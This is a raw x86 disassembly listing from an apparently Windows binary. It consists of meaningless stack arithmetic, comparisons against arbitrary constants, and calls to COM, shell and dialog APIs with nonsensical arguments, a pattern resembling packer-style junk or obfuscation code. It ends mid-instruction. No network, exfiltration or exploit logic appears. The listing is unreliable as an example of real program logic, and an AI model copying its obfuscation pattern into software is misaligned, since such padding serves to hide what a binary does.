mov dword [ebp - 0x37f0], eax
jmp 0x40780d
mov ecx, dword [ebp - 0x38c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x18ed]
xor edx, eax
movzx ecx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x17fc]
movzx eax, byte [eax]
or ecx, eax
cmp edx, ecx
jge 0x40780d
mov ecx, dword [ebp - 0x1f58]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x31d0]
add edx, dword [eax]
mov ecx, dword [ebp - 0x4f0]
mov dword [ecx], edx
movzx edx, byte [ebp - 0x18ed]
mov eax, dword [ebp - 0x3868]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x2521], dl
mov edx, dword [ebp - 0x798]
push edx
movzx eax, byte [ebp + 0xc]
push eax
call fcn.004ef7c0
add esp, 8
push 0
push 0
lea ecx, [ebp - 0x1bd4]
push ecx
call dword [sym.imp.ole32.dll_CoLockObjectExternal]
mov dword [ebp - 0x34], eax
jmp 0x407843
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x2b50]
sub eax, ecx
mov edx, dword [ebp - 0x2a04]
mov word [edx], ax
call fcn.004d7e60
mov eax, dword [ebp - 0x1bf8]
mov ecx, dword [ebp - 0x2a4c]
add ecx, dword [eax]
mov dword [ebp - 0x38f4], ecx
mov edx, dword [ebp - 0x950]
and edx, dword [ebp - 0x339c]
mov eax, dword [ebp - 0x22e0]
mov dword [eax], edx
lea ecx, [ebp - 0x31c0]
mov dword [ebp - 0x335c], ecx
mov edx, dword [ebp - 0x3868]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
add eax, edx
movzx ecx, byte [ebp - 0x2521]
movzx edx, byte [ebp - 0x3495]
sub ecx, edx
cmp eax, ecx
jge 0x4078e9
mov eax, dword [ebp - 0x2ca4]
sub eax, dword [ebp - 0x3580]
mov ecx, dword [ebp - 0x4f0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38c]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x950]
push ecx
movzx edx, word [ebp - 0x7f4]
push edx
movzx eax, byte [ebp - 0x2aa6]
push eax
mov ecx, dword [ebp - 0x1d78]
movzx edx, byte [ecx]
push edx
call fcn.00429f50
lea eax, [ebp - 0x1ec]
push eax
lea ecx, [ebp - 0x1bd4]
push ecx
call dword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [ebp - 0x2218], eax
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3868]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x38c]
mov byte [edx], al
lea eax, [ebp - 0x1220]
mov dword [ebp - 0x1708], eax
movsx ecx, word [ebp - 0x60c]
mov dword [ebp - 0x3aa4], ecx
cmp dword [ebp - 0x3aa4], 1
je 0x40793c
cmp dword [ebp - 0x3aa4], 0x2041
je 0x407aa6
jmp 0x407ba2
lea edx, [ebp - 0x2569]
mov dword [ebp - 0x28a8], edx
mov eax, dword [ebp - 0x3580]
mov dword [ebp - 0x3aa8], eax
cmp dword [ebp - 0x3aa8], 0x5bba34d5
je 0x407962
jmp 0x4079c2
movsx ecx, word [ebp - 0x2514]
movsx edx, word [ebp - 0x7f4]
xor ecx, edx
mov eax, dword [ebp - 0x2760]
mov word [eax], cx
movzx edx, byte [ebp - 0x18ed]
movzx ecx, byte [ebp - 0x3495]
shl edx, cl
mov byte [ebp + 0xc], dl
mov eax, dword [ebp - 0x186c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x3208]
mov edx, dword [ebp - 0x1bf8]
mov dword [edx], ecx
movzx eax, word [ebp - 0x24a0]
mov ecx, dword [ebp - 0x2094]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x169c], ax
jmp 0x407aa1
mov eax, dword [ebp - 0x2760]
movsx ecx, word [eax]
mov dword [ebp - 0x3aac], ecx
cmp dword [ebp - 0x3aac], 0xffffffee
je 0x4079eb
cmp dword [ebp - 0x3aac], 0x3e5c
je 0x407a25
jmp 0x407aa1
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3495]
sub eax, ecx
mov byte [ebp - 0x2521], al
mov edx, dword [ebp - 0x950]
sub edx, dword [ebp - 0x7cc]
mov eax, dword [ebp - 0x1d24]
mov dword [eax], edx
lea ecx, [ebp - 0x16fc]
mov dword [ebp - 0xbd4], ecx
jmp 0x407aa1
push 0xaa
mov edx, dword [ebp - 0x1608]
push edx
mov eax, dword [ebp - 0x33bc]
push eax
call dword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [ebp - 0x60c], ax
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x2569]
push eax
call fcn.004d1cd0
mov ecx, dword [ebp - 0x3168]
add ecx, dword [ebp - 0x2a4c]
mov edx, dword [ebp - 0x17a4]
mov dword [edx], ecx
lea eax, [ebp - 0xb7c]
push eax
lea ecx, [ebp - 0x23a0]
push ecx
push 0x14
call dword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [ebp - 0x25f0], eax
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x38c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp + 0xc], dl
jmp 0x407ba2
movsx edx, byte [ebp - 0x2aa6]
movsx eax, byte [ebp - 0x1f4e]
add edx, eax
mov ecx, dword [ebp - 0x28a8]
movsx eax, byte [ecx]
movsx ecx, byte [ebp - 0x2171]
sub eax, ecx
cmp edx, eax
jg 0x407b12
movzx edx, word [ebp - 0x24a0]
movzx eax, word [ebp - 0x169c]
and edx, eax
mov ecx, dword [ebp - 0x2c9c]
mov word [ecx], dx
lea edx, [ebp - 0x1b64]
push edx
lea eax, [ebp - 0x3864]
push eax
lea ecx, [ebp - 0x51c]
push ecx
push 0x9b
lea edx, [ebp - 0x1e80]
push edx
call dword [sym.imp.ole32.dll_CoInstall]
mov dword [ebp - 0x51c], eax
mov eax, dword [ebp - 0x3794]
mov ecx, dword [eax]
push ecx
movzx edx, byte [ebp + 0xc]
push edx
call fcn.004ef7c0
add esp, 8
mov eax, dword [ebp - 0x381c]
mov dword [ebp - 0x3ab0], eax
cmp dword [ebp - 0x3ab0], 0x876b5957
je 0x407b42
jmp 0x407b60
mov ecx, dword [ebp - 0x17fc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x1ec]
mov byte [eax], dl
jmp 0x407ba2
mov ecx, dword [ebp - 0x3868]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x2521]
sar edx, cl
mov byte [ebp + 0xc], dl
lea eax, [ebp - 0x28e8]
push eax
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0x2b94], eax
mov ecx, dword [ebp - 0x1bf8]
mov edx, dword [ebp - 0x38fc]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x335c]
mov dword [ecx], eax
movsx edx, word [ebp - 0x17e0]
mov dword [ebp - 0x3ab4], edx
cmp dword [ebp - 0x3ab4], 0xffffffee
je 0x407bbd
jmp 0x428294
mov eax, dword [ebp - 0x31d0]
mov ecx, dword [ebp - 0x1f58]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x1d3c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2a4c]
cmp edx, ecx
jg 0x407d68
movsx edx, word [ebp - 0x35b8]
mov dword [ebp - 0x3ab8], edx
cmp dword [ebp - 0x3ab8], 0xfffffffe
je 0x407bfe
jmp 0x407d3a
mov eax, dword [ebp - 0x538]
and eax, dword [ebp - 0x950]
mov dword [ebp - 0x339c], eax
mov ecx, dword [ebp - 0x2760]
movsx edx, word [ecx]
mov dword [ebp - 0x3abc], edx
cmp dword [ebp - 0x3abc], 0xffffffee
je 0x407c3d
cmp dword [ebp - 0x3abc], 0x4f76
je 0x407d20
jmp 0x407d38
mov eax, dword [ebp - 0x3868]
mov cl, byte [eax]
mov byte [ebp - 0x3ac0], cl
cmp byte [ebp - 0x3ac0], 0x57
je 0x407c59
jmp 0x407d1e
mov edx, dword [ebp - 0x798]
mov dword [ebp - 0x3ac4], edx
cmp dword [ebp - 0x3ac4], 0xba37c3d
je 0x407d07
cmp dword [ebp - 0x3ac4], 0x1f8ef6e2
je 0x407c86
jmp 0x407d1e
mov eax, dword [ebp - 0x3794]
mov ecx, dword [ebp - 0x3168]
or ecx, dword [eax]
mov dword [ebp - 0x2c0], ecx
lea edx, [ebp - 0x1130]
push edx
mov eax, dword [ebp - 0x2178]
push eax
mov ecx, dword [ebp - 0x243c]
push ecx
call dword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov dword [ebp - 0x2d94], eax
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x1d78]
movzx edx, byte [ecx]
push edx
call fcn.004d1cd0
movzx eax, byte [ebp - 0x3495]
movzx ecx, byte [ebp - 0x18ed]
shl eax, cl
mov ecx, dword [ebp - 0x38c]
mov byte [ecx], al
push 0x88
mov edx, dword [ebp - 0x23c]
push edx
mov eax, dword [ebp - 0x255c]
push eax
call dword [sym.imp.COMCTL32.dll_DrawInsert]
jmp 0x407d1e
movzx ecx, word [ebp - 0x169c]
movzx edx, word [ebp - 0x19a4]
xor ecx, edx
mov word [ebp - 0x1650], cx
jmp 0x407d38
mov eax, dword [ebp - 0x1d24]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x538]
shr edx, cl
mov eax, dword [ebp - 0x2534]
mov dword [eax], edx
jmp 0x407d68
lea ecx, [ebp - 0x1b64]
push ecx
call dword [sym.imp.ole32.dll_CoGetContextToken]
mov dword [ebp - 0x2708], eax
call fcn.004d7e60
mov edx, dword [ebp - 0x17a4]
mov eax, dword [ebp - 0x2c0]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x29dc]
mov dword [ecx], eax
mov dl, byte [ebp - 0x1f4e]
mov byte [ebp - 0x3ac8], dl
cmp byte [ebp - 0x3ac8], 0
je 0x407d82
jmp 0x42819d
lea eax, [ebp - 0x25c4]
mov dword [ebp - 0x958], eax
lea ecx, [ebp - 0x2569]
mov dword [ebp - 0x20], ecx
movsx edx, word [ebp - 0x7f4]
movsx eax, word [ebp - 0x35b8]
sub edx, eax
mov word [ebp - 0x60c], dx
mov ecx, dword [ebp - 0x2a04]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x2b50]
add edx, eax
mov ecx, dword [ebp - 0x22c]
mov word [ecx], dx
lea edx, [ebp - 0x2521]
mov dword [ebp - 0x700], edx
mov eax, dword [ebp - 0x798]
add eax, dword [ebp - 0x2c0]
mov ecx, dword [ebp - 0x38fc]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3794]
add edx, dword [ecx]
cmp eax, edx
jle 0x407e9a
mov edx, dword [ebp - 0x718]
movsx eax, word [edx]
mov dword [ebp - 0x3acc], eax
cmp dword [ebp - 0x3acc], 0x33a
je 0x407e18
jmp 0x407e2c
mov ecx, dword [ebp - 0x339c]
sub ecx, dword [ebp - 0x950]
mov edx, dword [ebp - 0x2534]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2c0]
sub eax, dword [ebp - 0x3168]
mov dword [ebp - 0x2a4c], eax
mov ecx, dword [ebp - 0x33b0]
push ecx
call dword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [ebp - 0x1a58], eax
mov edx, dword [ebp - 0x38c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x18ed]
sub eax, ecx
mov edx, dword [ebp - 0x26fc]
mov byte [edx], al
lea eax, [ebp - 0x294]
push eax
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov dword [ebp - 0x1e08], eax
movzx ecx, word [ebp - 0x1220]
movzx edx, word [ebp - 0x169c]
and ecx, edx
mov word [ebp - 0x20b4], cx
jmp 0x4280a3
mov eax, dword [ebp - 0x1708]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1650]
add ecx, edx
movzx eax, word [ebp + 8]
mov edx, dword [ebp - 0x22c]
movzx edx, word [edx]
xor eax, edx
cmp ecx, eax
jg 0x4280a3
movzx eax, word [ebp - 0x19a4]
mov dword [ebp - 0x3ad0], eax
cmp dword [ebp - 0x3ad0], 0xaa6
je 0x407ee1
jmp 0x407fcb
lea ecx, [ebp - 0x1e08]
push ecx
lea edx, [ebp - 0x3495]
push edx
lea eax, [ebp - 0x28e8]
push eax
lea ecx, [ebp - 0x6d0]
push ecx
lea edx, [ebp - 0x1e80]
push edx
lea eax, [ebp - 0xc30]
push eax
lea ecx, [ebp - 0x28e8]
push ecx
call dword [sym.imp.ole32.dll_CoQueryClientBlanket]
mov dword [ebp - 0x364], eax
mov edx, dword [ebp - 0x16cc]
mov eax, dword [ebp - 0x950]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1bd4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1678]
mov al, byte [edx]
mov byte [ebp - 0x3ad4], al
cmp byte [ebp - 0x3ad4], 4
je 0x407fa0
cmp byte [ebp - 0x3ad4], 0x2b
je 0x407f56
jmp 0x407fc6
movzx ecx, word [ebp - 0x169c]
movzx edx, word [ebp - 0x1650]
add ecx, edx
mov word [ebp - 0x20b4], cx
lea eax, [ebp - 0x1f4e]
push eax
lea ecx, [ebp - 0x3974]
push ecx
call dword [sym.imp.ole32.dll_StringFromIID]
mov dword [ebp - 0x364], eax
mov edx, dword [ebp - 0x3868]
movzx eax, byte [edx]
movzx ecx, byte [ebp + 0xc]
xor eax, ecx
mov edx, dword [ebp - 0x26fc]
mov byte [edx], al
jmp 0x407fc6
mov eax, dword [ebp - 0x2534]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2b50]
call fcn.004721c0
movzx edx, byte [ebp - 0x18ed]
movzx ecx, byte [ebp - 0x3495]
sar edx, cl
mov byte [ebp + 0xc], dl
jmp 0x427ffc
movzx eax, word [ebp + 8]
movzx ecx, word [ebp - 0x19a4]
shl eax, cl
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x1220]
or edx, ecx
cmp eax, edx
jl 0x4080c6
movsx edx, byte [ebp - 0x2569]
movsx eax, byte [ebp - 0x1f4e]
sub edx, eax
mov ecx, dword [ebp - 0x20]
mov byte [ecx], dl
movsx edx, byte [ebp - 0x1f4e]
movsx eax, byte [ebp - 0x2aa6]
add edx, eax
movsx ecx, byte [ebp - 0x2171]
mov eax, dword [ebp - 0x20]
movsx eax, byte [eax]
sub ecx, eax
cmp edx, ecx
je 0x40808e
mov edx, dword [ebp - 0x3208]
mov ecx, dword [ebp - 0x25c4]
sar edx, cl
mov eax, dword [ebp - 0x186c]
mov dword [eax], edx
lea ecx, [ebp - 0x2a4c]
mov dword [ebp - 0x248c], ecx
movzx edx, byte [ebp - 0x2521]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x1678]
movzx eax, byte [eax]
xor ecx, eax
cmp edx, ecx
jne 0x427e7f
mov ecx, dword [ebp - 0x38c]
mov dl, byte [ecx]
mov byte [ebp - 0x3b0c], dl
cmp byte [ebp - 0x3b0c], 9
je 0x428021
mov eax, dword [ebp - 0x140c]
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x16cc]
mov edx, dword [ecx]
mov dword [ebp - 0x3b10], edx
cmp dword [ebp - 0x3b10], 0x3869fd1b
je 0x4280d9
jmp 0x428152
mov eax, dword [ebp - 0x2094]
movzx ecx, word [eax]
push ecx
movzx edx, byte [ebp - 0x2aa6]
push edx
mov eax, dword [ebp - 0x2760]
movzx ecx, word [eax]
push ecx
mov dl, byte [ebp - 0x3495]
mov cl, byte [ebp + 0xc]
call fcn.00478870
lea edx, [ebp - 0x2aa6]
push edx
lea eax, [ebp - 0x2698]
push eax
push 0xa5
call dword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [ebp - 0x624], eax
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ecx]
or edx, dword [ebp - 0x7cc]
mov eax, dword [ebp - 0x22e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ebp - 0xbd4]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x3580], eax
jmp 0x428198
mov ecx, dword [ebp - 0x700]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x381c]
push eax
mov ecx, dword [ebp - 0x2760]
movzx edx, word [ecx]
push edx
movzx eax, byte [ebp - 0x2569]
push eax
mov ecx, dword [ebp - 0x28a8]
movzx edx, byte [ecx]
push edx
call fcn.00429f50
mov eax, dword [ebp - 0x2c0]
and eax, dword [ebp - 0x25c4]
mov ecx, dword [ebp - 0x38fc]
mov dword [ecx], eax
jmp 0x428237
movzx edx, word [ebp - 0x2b50]
push edx
mov eax, dword [ebp - 0x28a8]
movzx ecx, byte [eax]
push ecx
movzx edx, word [ebp - 0x17e0]
push edx
mov eax, dword [ebp - 0x38c]
mov dl, byte [eax]
mov cl, byte [ebp - 0x18ed]
call fcn.00478870
call dword [sym.imp.ole32.dll_CoResumeClassObjects]
mov dword [ebp - 0x2054], eax
mov ecx, dword [ebp - 0x3868]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x38c]
mov byte [eax], dl
movzx ecx, byte [ebp - 0x2521]
push ecx
mov edx, dword [ebp - 0x7cc]
push edx
mov eax, dword [ebp - 0x718]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x28a8]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp - 0x2171]
push ecx
call fcn.00429f50
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2521]
add eax, ecx
mov byte [ebp + 0xc], al
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2a04]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp + 8], ax
push 5
push 0x22
push 0xda
mov eax, dword [ebp - 0x1608]
push eax
call dword [sym.imp.SHELL32.dll_SHUpdateImageW]
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x339c]
mov eax, dword [ebp - 0x1bd4]
mov dword [eax], edx
movzx ecx, word [ebp + 8]
movzx edx, word [ebp - 0x169c]
sub ecx, edx
mov word [ebp - 0x20b4], cx
jmp 0x4283de
movsx eax, byte [ebp - 0x2569]
mov ecx, dword [ebp - 0x1d78]
movsx edx, byte [ecx]
or eax, edx
movsx ecx, byte [ebp - 0x2171]
movsx edx, byte [ebp - 0x1f4e]
add ecx, edx
cmp eax, ecx
jl 0x4283de
mov eax, dword [ebp - 0x3208]
mov dword [ebp - 0x3b14], eax
cmp dword [ebp - 0x3b14], 0x6b0653e9
je 0x4282db
jmp 0x4283c1
mov ecx, dword [ebp - 0x3168]
and ecx, dword [ebp - 0x38f4]
mov edx, dword [ebp - 0x1f58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3868]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp + 0xc], cl
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ecx]
mov dword [ebp - 0x3b18], edx
cmp dword [ebp - 0x3b18], 0xa0f4befe
je 0x4283a5
cmp dword [ebp - 0x3b18], 0xf64cb50a
je 0x428335
jmp 0x4283bf
movsx eax, byte [ebp - 0x2569]
mov ecx, dword [ebp - 0x28a8]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x1d78]
mov byte [ecx], al
movzx edx, word [ebp - 0x19a4]
push edx
mov eax, dword [ebp - 0x1d78]
movzx ecx, byte [eax]
push ecx
movzx edx, word [ebp - 0x60c]
push edx
mov eax, dword [ebp - 0x26fc]
mov dl, byte [eax]
mov cl, byte [ebp + 0xc]
call fcn.00478870
lea ecx, [ebp - 0x1b34]
push ecx
call dword [sym.imp.SHELL32.dll_ILFree]
mov edx, dword [ebp - 0x2760]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x2520]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x718]
mov word [ecx], ax
jmp 0x4283bf
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x17fc]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x3495], al
jmp 0x4283de
mov eax, dword [ebp - 0x2c9c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x22c]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2094]
mov word [edx], cx
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x538]
mov dword [ebp - 0x381c], ecx
lea edx, [ebp - 0x718]
push edx
lea eax, [ebp - 0x12d0]
push eax
lea ecx, [ebp - 0x2aa6]
push ecx
call dword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
mov dword [ebp - 0x1374], eax
call fcn.004d7e60
mov edx, dword [ebp - 0x381c]
or edx, dword [ebp - 0x538]
mov dword [ebp - 0x7cc], edx
mov eax, dword [ebp - 0x38fc]
mov ecx, dword [ebp - 0x1d3c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x29dc]
mov dword [eax], edx
lea ecx, [ebp - 0x2c20]
push ecx
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [ebp - 0x38a0], eax
mov edx, dword [ebp - 0x1d24]
mov eax, dword [ebp - 0x950]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x2534]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x18ed]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp + 0xc], dl
call fcn.004d7e60
lea ecx, [ebp - 0x2424]
push ecx
call dword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [ebp - 0x370], eax
jmp 0x42854a
mov edx, dword [ebp - 0x2520]
movsx eax, word [edx]
mov dword [ebp - 0x3b1c], eax
cmp dword [ebp - 0x3b1c], 0x2680
je 0x4284ba
jmp 0x4284e2
mov ecx, dword [ebp - 0x150c]
push ecx
mov edx, dword [ebp - 0x33bc]
push edx
mov eax, dword [ebp - 0x2178]
push eax
mov ecx, dword [ebp - 0x2b94]
push ecx
call dword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [ebp - 0x38f4], eax
movsx edx, word [ebp - 0x7f4]
mov eax, dword [ebp - 0x718]
movsx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2520]
mov word [eax], dx
lea ecx, [ebp - 0x20b4]
push ecx
lea edx, [ebp - 0xb0c]
push edx
call dword [sym.imp.ole32.dll_StringFromIID]
mov dword [ebp - 0x269c], eax
mov eax, dword [ebp - 0x2094]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xc1c]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x22c]
mov word [edx], cx
movzx eax, byte [ebp - 0x3495]
movzx ecx, byte [ebp - 0x2521]
add eax, ecx
mov byte [ebp - 0x18ed], al
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2171]
sub eax, ecx
mov byte [ebp - 0x1f4e], al
mov edx, dword [ebp - 0x3580]
add edx, dword [ebp - 0x798]
mov eax, dword [ebp - 0x2260]
mov esi, dword [ebp - 0x16fc]
mov ecx, dword [eax]
shl esi, cl
cmp edx, esi
jl 0x428584
jmp 0x4285f0
mov edx, dword [ebp - 0x38f4]
xor edx, dword [ebp - 0x798]
mov eax, dword [ebp - 0x1d3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3580]
sar eax, cl
cmp edx, eax
je 0x4285f0
mov ecx, dword [ebp - 0x17fc]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x2520]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x1d78]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x1f4e]
push eax
call fcn.00429f50
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ebp - 0x3794]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x186c]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x2521]
movzx eax, byte [ebp - 0x3495]
or edx, eax
mov byte [ebp - 0x18ed], dl
mov ecx, dword [ebp - 0x381c]
and ecx, dword [ebp - 0x538]
mov edx, dword [ebp - 0x22e0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3580]
sub eax, dword [ebp - 0x2a4c]
mov dword [ebp - 0x25c4], eax
lea ecx, [ebp - 0x2514]
push ecx
lea edx, [ebp - 0x17a4]
push edx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x2438], eax
jmp 0x42870f
movsx eax, word [ebp - 0x7f4]
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
sub eax, edx
movsx ecx, word [ebp - 0x60c]
movsx edx, word [ebp - 0x2514]
add ecx, edx
cmp eax, ecx
jg 0x428685
mov eax, dword [ebp - 0x538]
add eax, dword [ebp - 0x381c]
mov ecx, dword [ebp - 0x1d24]
mov dword [ecx], eax
mov edx, dword [ebp - 0x950]
mov dword [ebp - 0x3b20], edx
cmp dword [ebp - 0x3b20], 0x5effe8ec
je 0x42869f
jmp 0x4286a1
jmp 0x4286ae
lea eax, [ebp - 0x1650]
push eax
call dword [sym.imp.SHELL32.dll_ILFree]
mov ecx, dword [ebp - 0x2094]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x22c]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2c9c]
mov word [eax], dx
mov ecx, dword [ebp - 0x38fc]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
push ecx
call fcn.004ef7c0
add esp, 8
mov edx, dword [ebp - 0x38c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2521]
add eax, ecx
mov byte [ebp + 0xc], al
mov edx, dword [ebp - 0x16fc]
sub edx, dword [ebp - 0x25c4]
mov eax, dword [ebp - 0x31d0]
mov dword [eax], edx
movzx edx, word [ebp - 0x19a4]
movzx eax, word [ebp - 0x24a0]
and edx, eax
movzx eax, word [ebp - 0x169c]
mov ecx, dword [ebp - 0x2c9c]
movzx ecx, word [ecx]
shl eax, cl
cmp edx, eax
jge 0x4287a7
movsx edx, byte [ebp - 0x2aa6]
movsx eax, byte [ebp - 0x2171]
xor edx, eax
mov byte [ebp - 0x1f4e], dl
lea ecx, [ebp - 0x930]
push ecx
call dword [sym.imp.SHELL32.dll_ILGetNext]
mov dword [ebp - 0x12e4], eax
mov edx, dword [ebp - 0x140c]
mov eax, dword [ebp - 0x538]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0x2534]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38f4]
or edx, dword [ebp - 0x798]
mov dword [ebp - 0x31c0], edx
lea eax, [ebp - 0x2980]
push eax
push 0xfc
lea ecx, [ebp - 0xa20]
push ecx
call dword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [ebp - 0x2054], eax
jmp 0x428916
lea edx, [ebp - 0x2b1c]
push edx
call dword [sym.imp.ole32.dll_CoSetCancelObject]
mov dword [ebp - 0x269c], eax
mov eax, dword [ebp - 0x100]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x1d78]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x718]
movzx edx, word [ecx]
push edx
mov dl, byte [ebp - 0x2521]
mov eax, dword [ebp - 0x3868]
mov cl, byte [eax]
call fcn.00478870
mov ecx, dword [ebp - 0x2c9c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2a04]
movzx ecx, word [eax]
xor edx, ecx
movzx eax, word [ebp - 0x1220]
movzx ecx, word [ebp + 8]
shl eax, cl
cmp edx, eax
jne 0x4288cf
mov ecx, dword [ebp - 0x186c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x31c0]
mov eax, dword [ebp - 0x38fc]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc1c]
movzx edx, word [ecx]
mov dword [ebp - 0x3b24], edx
cmp dword [ebp - 0x3b24], 0x170
je 0x4288ac
cmp dword [ebp - 0x3b24], 0xd5d
je 0x428858
jmp 0x4288cd
push 0x3f
lea eax, [ebp - 0x17a4]
push eax
push fcn.004d1cd0
mov ecx, dword [ebp - 0x175c]
push ecx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x284c], eax
mov edx, dword [ebp - 0x22e0]
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x381c], ecx
mov edx, dword [ebp - 0x17fc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x1678]
mov byte [ecx], al
jmp 0x4288cd
push 0x79
mov edx, dword [ebp - 0x33bc]
push edx
push 0xc2
mov eax, dword [ebp - 0x3840]
